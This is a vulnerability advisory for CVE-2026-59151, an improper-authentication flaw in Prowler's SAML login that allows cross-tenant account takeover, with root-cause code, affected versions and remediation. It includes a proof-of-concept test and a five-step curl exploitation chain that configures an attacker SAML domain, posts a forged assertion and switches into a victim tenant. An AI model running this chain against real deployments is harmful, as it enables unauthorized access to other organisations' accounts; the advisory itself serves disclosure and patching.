CVE-2026-59151
prowler-cloud: Improper Authentication (CVE-2026-59151)
Affected
- pypi/prowler-cloud
0.0.0rc1..* - pypi/prowler-cloud
0.0.0rc10..* - pypi/prowler-cloud
0.0.0rc11..* - pypi/prowler-cloud
0.0.0rc2..* - pypi/prowler-cloud
0.0.0rc3..* - pypi/prowler-cloud
0.0.0rc4..* - pypi/prowler-cloud
0.0.0rc5..* - pypi/prowler-cloud
0.0.0rc6..* - pypi/prowler-cloud
0.0.0rc7..* - pypi/prowler-cloud
0.0.0rc8..* - pypi/prowler-cloud
0.0.0rc9..* - pypi/prowler-cloud
3.0.0..* - pypi/prowler-cloud
3.0.0rc1..* - pypi/prowler-cloud
3.0.0rc11..* - pypi/prowler-cloud
3.0.0rc12..* - pypi/prowler-cloud
3.0.0rc13..* - pypi/prowler-cloud
3.0.0rc14..* - pypi/prowler-cloud
3.0.0rc15..* - pypi/prowler-cloud
3.0.1..* - pypi/prowler-cloud
3.0.2..* - pypi/prowler-cloud
3.1.0..* - pypi/prowler-cloud
3.1.1..* - pypi/prowler-cloud
3.1.2..* - pypi/prowler-cloud
3.1.3..* - pypi/prowler-cloud
3.1.4..* - pypi/prowler-cloud
3.10.0..* - pypi/prowler-cloud
3.11.0..* - pypi/prowler-cloud
3.11.1..* - pypi/prowler-cloud
3.11.2..* - pypi/prowler-cloud
3.11.3..* - pypi/prowler-cloud
3.12.0..* - pypi/prowler-cloud
3.12.1..* - pypi/prowler-cloud
3.13.0..* - pypi/prowler-cloud
3.13.1..* - pypi/prowler-cloud
3.14.0..* - pypi/prowler-cloud
3.15.0..* - pypi/prowler-cloud
3.15.1..* - pypi/prowler-cloud
3.15.2..* - pypi/prowler-cloud
3.15.3..* - pypi/prowler-cloud
3.16.0..* - pypi/prowler-cloud
3.16.1..* - pypi/prowler-cloud
3.16.10..* - pypi/prowler-cloud
3.16.11..* - pypi/prowler-cloud
3.16.12..* - pypi/prowler-cloud
3.16.13..* - pypi/prowler-cloud
3.16.14..* - pypi/prowler-cloud
3.16.15..* - pypi/prowler-cloud
3.16.17..* - pypi/prowler-cloud
3.16.2..* - pypi/prowler-cloud
3.16.3..* - pypi/prowler-cloud
3.16.4..* - pypi/prowler-cloud
3.16.5..* - pypi/prowler-cloud
3.16.6..* - pypi/prowler-cloud
3.16.7..* - pypi/prowler-cloud
3.16.8..* - pypi/prowler-cloud
3.16.9..* - pypi/prowler-cloud
3.2.0..* - pypi/prowler-cloud
3.2.1..* - pypi/prowler-cloud
3.2.2..* - pypi/prowler-cloud
3.2.3..* - pypi/prowler-cloud
3.2.4..* - pypi/prowler-cloud
3.3.0..* - pypi/prowler-cloud
3.3.1..* - pypi/prowler-cloud
3.3.2..* - pypi/prowler-cloud
3.3.3..* - pypi/prowler-cloud
3.3.4..* - pypi/prowler-cloud
3.4.0..* - pypi/prowler-cloud
3.4.1..* - pypi/prowler-cloud
3.5.0..* - pypi/prowler-cloud
3.5.1..* - pypi/prowler-cloud
3.5.2..* - pypi/prowler-cloud
3.5.3..* - pypi/prowler-cloud
3.6.0..* - pypi/prowler-cloud
3.6.1..* - pypi/prowler-cloud
3.7.0..* - pypi/prowler-cloud
3.7.1..* - pypi/prowler-cloud
3.7.2..* - pypi/prowler-cloud
3.8.0..* - pypi/prowler-cloud
3.8.1..* - pypi/prowler-cloud
3.8.2..* - pypi/prowler-cloud
3.9.0..* - pypi/prowler-cloud
4.0.0..* - pypi/prowler-cloud
4.0.1..* - pypi/prowler-cloud
4.1.0..* - pypi/prowler-cloud
4.2.0..* - pypi/prowler-cloud
4.2.1..* - pypi/prowler-cloud
4.2.2..* - pypi/prowler-cloud
4.2.3..* - pypi/prowler-cloud
4.2.4..* - pypi/prowler-cloud
4.3.0..* - pypi/prowler-cloud
4.3.1..* - pypi/prowler-cloud
4.3.2..* - pypi/prowler-cloud
4.3.3..* - pypi/prowler-cloud
4.3.4..* - pypi/prowler-cloud
4.3.5..* - pypi/prowler-cloud
4.3.6..* - pypi/prowler-cloud
4.3.7..* - pypi/prowler-cloud
4.4.0..* - pypi/prowler-cloud
4.4.1..* - pypi/prowler-cloud
4.5.0..* - pypi/prowler-cloud
4.5.1..* - pypi/prowler-cloud
4.5.2..* - pypi/prowler-cloud
4.5.3..* - pypi/prowler-cloud
4.6.0..* - pypi/prowler-cloud
4.6.1..* - pypi/prowler-cloud
4.6.2..* - pypi/prowler-cloud
5.0.0..* - pypi/prowler-cloud
5.0.1..* - pypi/prowler-cloud
5.0.2..* - pypi/prowler-cloud
5.0.3..* - pypi/prowler-cloud
5.0.4..* - pypi/prowler-cloud
5.0.5..* - pypi/prowler-cloud
5.1.0..* - pypi/prowler-cloud
5.1.1..* - pypi/prowler-cloud
5.1.2..* - pypi/prowler-cloud
5.1.3..* - pypi/prowler-cloud
5.1.4..* - pypi/prowler-cloud
5.1.5..* - pypi/prowler-cloud
5.10.0..* - pypi/prowler-cloud
5.10.1..* - pypi/prowler-cloud
5.10.2..* - pypi/prowler-cloud
5.11.0..* - pypi/prowler-cloud
5.12.0..* - pypi/prowler-cloud
5.12.1..* - pypi/prowler-cloud
5.12.2..* - pypi/prowler-cloud
5.12.3..* - pypi/prowler-cloud
5.13.0..* - pypi/prowler-cloud
5.13.1..* - pypi/prowler-cloud
5.14.0..* - pypi/prowler-cloud
5.14.1..* - pypi/prowler-cloud
5.14.2..* - pypi/prowler-cloud
5.15.0..* - pypi/prowler-cloud
5.15.1..* - pypi/prowler-cloud
5.16.0..* - pypi/prowler-cloud
5.16.1..* - pypi/prowler-cloud
5.17.0..* - pypi/prowler-cloud
5.17.1..* - pypi/prowler-cloud
5.18.0..* - pypi/prowler-cloud
5.18.1..* - pypi/prowler-cloud
5.18.2..* - pypi/prowler-cloud
5.18.3..* - pypi/prowler-cloud
5.19.0..* - pypi/prowler-cloud
5.2.0..* - pypi/prowler-cloud
5.2.1..* - pypi/prowler-cloud
5.2.2..* - pypi/prowler-cloud
5.2.3..* - pypi/prowler-cloud
5.20.0..* - pypi/prowler-cloud
5.21.0..* - pypi/prowler-cloud
5.21.1..* - pypi/prowler-cloud
5.22.0..* - pypi/prowler-cloud
5.23.0..* - pypi/prowler-cloud
5.24.0..* - pypi/prowler-cloud
5.24.1..* - pypi/prowler-cloud
5.24.2..* - pypi/prowler-cloud
5.24.3..* - pypi/prowler-cloud
5.24.4..* - pypi/prowler-cloud
5.25.0..* - pypi/prowler-cloud
5.25.1..* - pypi/prowler-cloud
5.25.2..* - pypi/prowler-cloud
5.25.3..* - pypi/prowler-cloud
5.26.0..* - pypi/prowler-cloud
5.26.1..* - pypi/prowler-cloud
5.27.0..* - pypi/prowler-cloud
5.27.1..* - pypi/prowler-cloud
5.28.0..* - pypi/prowler-cloud
5.28.1..* - pypi/prowler-cloud
5.29.0..* - pypi/prowler-cloud
5.29.1..* - pypi/prowler-cloud
5.29.2..* - pypi/prowler-cloud
5.3.0..* - pypi/prowler-cloud
5.30.0..* - pypi/prowler-cloud
5.30.1..* - pypi/prowler-cloud
5.30.2..* - pypi/prowler-cloud
5.4.0..* - pypi/prowler-cloud
5.4.1..* - pypi/prowler-cloud
5.4.2..* - pypi/prowler-cloud
5.4.3..* - pypi/prowler-cloud
5.4.4..* - pypi/prowler-cloud
5.5.1..* - pypi/prowler-cloud
5.6.0..* - pypi/prowler-cloud
5.7.0..* - pypi/prowler-cloud
5.7.1..* - pypi/prowler-cloud
5.7.2..* - pypi/prowler-cloud
5.7.3..* - pypi/prowler-cloud
5.7.4..* - pypi/prowler-cloud
5.7.5..* - pypi/prowler-cloud
5.8.0..* - pypi/prowler-cloud
5.8.1..* - pypi/prowler-cloud
5.9.0..* - pypi/prowler-cloud
5.9.1..* - pypi/prowler-cloud
5.9.2..*
Description
SAML Tenant Binding Enables Cross-Tenant Account Takeover
Summary
Prowler's SAML authentication flow trusted the email domain asserted in a SAMLResponse when deciding which tenant should receive the final token. A malicious tenant with its own SAML configuration and a self-controlled IdP could complete a valid SAML flow for its own configured domain, while asserting an email address from another configured domain.
In the vulnerable flow, the ACS finish logic later derived the tenant from the asserted email domain instead of binding token issuance to the tenant associated with the validated SAML configuration. This could cause a token to be issued for the wrong tenant.
The attacker does not generally need to claim the victim's email domain. If the victim tenant already has SAML configured for that domain, another tenant cannot claim it because SAMLConfiguration.email_domain and SAMLDomainIndex.email_domain are globally unique.
Details
The confirmed root cause is in the SAML ACS finish and token issuance flow. The flow selected a SAML configuration through the ACS route, but later recalculated the tenant from the asserted user email domain:
email_domain = user.email.split("@")[-1]
tenant = (
SAMLConfiguration.objects.using(MainRouter.admin_db)
.get(email_domain=email_domain)
.tenant
)
This is unsafe because user.email is derived from the SAML assertion. The tenant used for membership updates and token issuance must come from the SAML configuration validated for the current ACS route, not from the asserted email domain.
The attack is made possible by several compounding weaknesses:
-
No domain ownership proof (
api/src/backend/api/models.py:2100, 2130-2152):SAMLConfiguration.email_domainis validated for format and global uniqueness, but not for domain ownership. Any authenticated tenant admin can claim an unclaimed domain string, but cannot claim a domain already configured by another tenant. -
Global SAML domain index (
api/src/backend/api/models.py:2200-2201):SAMLDomainIndex.update_or_create(email_domain=self.email_domain, defaults={'tenant': self.tenant})maps each configured domain to its tenant. If token issuance later trusts the asserted email domain, it can resolve a tenant different from the one selected by the ACS route. -
Hardcoded auto-connect (
api/src/backend/config/settings/social_login.py:23, 25):SOCIALACCOUNT_EMAIL_AUTHENTICATION = TrueandSOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT = Trueare hardcoded and cannot be disabled at runtime. -
IdP-initiated SSO enabled (
api/src/backend/config/settings/social_login.py:78):reject_idp_initiated_sso: Falseallows the attacker to initiate the flow without requiring any action from the victim. -
Token issuance for the wrong tenant (
api/src/backend/api/v1/views.py:853-873): after SAML authentication, the vulnerable ACS finish flow could create membership and issue aSAMLTokenusing a tenant derived from the asserted email domain instead of the validated SAML configuration. -
Token switch impact (
api/src/backend/api/v1/serializers.py:272): the token switch endpoint checks that the authenticated user is a member of the target tenant. If the attacker obtains a JWT for the victim user, they can switch into tenants where that user is already a member.
PoC
Environment setup:
# Build the PoC Docker image (build context = repo root)
docker build -t vuln001-poc -f vuln-001/Dockerfile .
# Start the stack (PostgreSQL + PoC runner)
docker compose -f vuln-001/docker-compose-poc.yml up --no-build --abort-on-container-exit
Automated test (runs inside the container):
python -m pytest poc_vuln001.py -v -s --no-header --tb=short
Manual HTTP exploitation chain (against a live Prowler API):
Step 1 - Attacker configures SAML for their own email domain:
curl -i -X POST "$API/api/v1/saml-config" \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H "Content-Type: application/vnd.api+json" \
--data '{
"data":{"type":"saml-configurations","attributes":{
"email_domain":"attacker.com",
"metadata_xml":"<md:EntityDescriptor entityID=\"evil-idp\" xmlns:md=\"urn:oasis:names:tc:SAML:2.0:metadata\">...attacker cert and SSO URL...</md:EntityDescriptor>"
}}
}'
The attacker does not need to claim victim.com. If victim.com is already configured by the victim tenant, the attacker cannot claim it because SAML domains are globally unique.
Step 2 - Attacker posts a signed SAMLResponse asserting user@victim.com:
# SIGNED_ASSERTION is a base64-encoded SAMLResponse signed with the attacker's private key,
# valid for the attacker's configured IdP, but asserting NameID = user@victim.com
curl -i -L -c c.jar -b c.jar \
-X POST "$API/api/v1/accounts/saml/attacker.com/acs/" \
--data-urlencode "SAMLResponse=$SIGNED_ASSERTION"
Step 3 - Vulnerable ACS finish logic derives the tenant from the asserted email domain:
In the vulnerable version, the finish flow used user.email.split("@")[-1] to resolve the tenant. If the asserted domain mapped to another tenant's SAML configuration, token issuance could be bound to the wrong tenant.
Step 4 - Exchange the SAML token for a victim JWT:
curl -s -X POST "$API/api/v1/tokens/saml?id=$SAML_TOKEN_ID"
# Returns access/refresh JWT if the temporary SAML token is valid and has not expired
Step 5 - Switch into the victim's real tenant:
curl -s -X POST "$API/api/v1/tokens/switch" \
-H "Authorization: Bearer $VICTIM_JWT" \
-H "Content-Type: application/vnd.api+json" \
--data '{
"data":{
"type":"tokens-switch-tenant",
"attributes":{
"tenant_id":"<victim-real-tenant-uuid>"
}
}
}'
# Returns a valid token scoped to the victim's tenant
Observed output from the automated PoC:
Note: this adapter-focused PoC demonstrates the account-linking behavior, but it does not prove the full token issuance chain by itself. The full exploit depends on the ACS finish flow issuing a token for a tenant derived from the asserted email domain.
[+] Victim user created in DB:
email = victim@victim.com
id = b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
[+] Simulated SAMLResponse posted to ACS endpoint:
URL: POST /api/v1/accounts/saml/victim.com/acs/
NameID: victim@victim.com (attacker-controlled)
[*] Calling ProwlerSocialAccountAdapter.pre_social_login()
File: api/src/backend/api/adapters.py:17
[!] sociallogin.connect() was called!
connected user email: victim@victim.com
connected user id: b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
victim user id: b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
- Victim user id in DB: b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
- User passed to connect(): b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
- IDs match (victim's account): True
- Domain ownership check skipped: True (no SAMLConfiguration lookup in adapter)
PASSED
======================== 1 passed, 2 warnings in 35.42s ========================
Recommended remediation (api/src/backend/api/v1/views.py):
Bind token issuance to the SAML configuration selected by the ACS route.
The ACS finish flow should verify that the following values all match:
- the
organization_slugfrom the ACS route - the
SAMLConfiguration.email_domain - the domain portion of the asserted SAML user email
Then issue the token using the tenant from that validated SAML configuration:
tenant = saml_config.tenant
The tenant must not be recalculated from user.email.
Impact
This is an Improper Authentication (CWE-287) vulnerability that enables cross-tenant account takeover. An authenticated Prowler user with a controlled SAML IdP could potentially obtain a token for another tenant if the ACS finish flow derived the tenant from the asserted email domain instead of the validated SAML
Affected products
The following versions are affected. Older releases of the same product line are also vulnerable unless stated otherwise.
0.0.0rc10.0.0rc100.0.0rc110.0.0rc20.0.0rc30.0.0rc40.0.0rc50.0.0rc60.0.0rc70.0.0rc80.0.0rc93.0.03.0.0rc13.0.0rc113.0.0rc123.0.0rc133.0.0rc143.0.0rc153.0.13.0.23.1.03.10.03.1.13.11.03.11.13.11.23.11.33.1.23.12.03.12.13.1.33.13.03.13.13.1.43.14.03.15.03.15.13.15.23.15.33.16.03.16.13.16.103.16.113.16.123.16.133.16.143.16.153.16.17Metrics
Show all metrics
Weakness classes (CWE)
CWE-287Class
Improper Authentication
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
cwe.mitre.org →
References & sources
- https://github.com/prowler-cloud/prowler/security/advisories/GHSA-h8m9-jgf8-vwvpx_refsource_CONFIRM
- https://github.com/prowler-cloud/prowler/pull/11650x_refsource_MISC
- https://github.com/prowler-cloud/prowler/commit/bf3b5c2ba713e533014927141b64948c82c8f32ex_refsource_MISC
- https://github.com/prowler-cloud/prowler/commit/f5ff30ad175bd2edf02cd28872653c1cda5867b7x_refsource_MISC
- https://github.com/prowler-cloud/prowler/releases/tag/5.30.3x_refsource_MISC
- https://nvd.nist.gov/vuln/detail/CVE-2026-59151advisory
- https://github.com/prowler-cloud/prowlerpackage
- https://github.com/pypa/advisory-database/tree/main/vulns/prowler-cloud/PYSEC-2026-3725.yamlweb
Reanalysis & status changes
Chronological NVD audit events for this CVE — reanalyses, CVSS updates, CPE diffs.
- Initial Analysis2026-08-26 19:40 UTC· nvd@nist.gov
- CPE Configuration: OR *cpe:2.3:a:prowler:prowler:*:*:*:*:*:*:*:* versions up to (excluding) 5.30.3
- Reference Type: GitHub, Inc.: https://github.com/prowler-cloud/prowler/commit/bf3b5c2ba713e533014927141b64948c82c8f32e Types: Patch
- Reference Type: GitHub, Inc.: https://github.com/prowler-cloud/prowler/commit/f5ff30ad175bd2edf02cd28872653c1cda5867b7 Types: Patch
- Reference Type: GitHub, Inc.: https://github.com/prowler-cloud/prowler/pull/11650 Types: Issue Tracking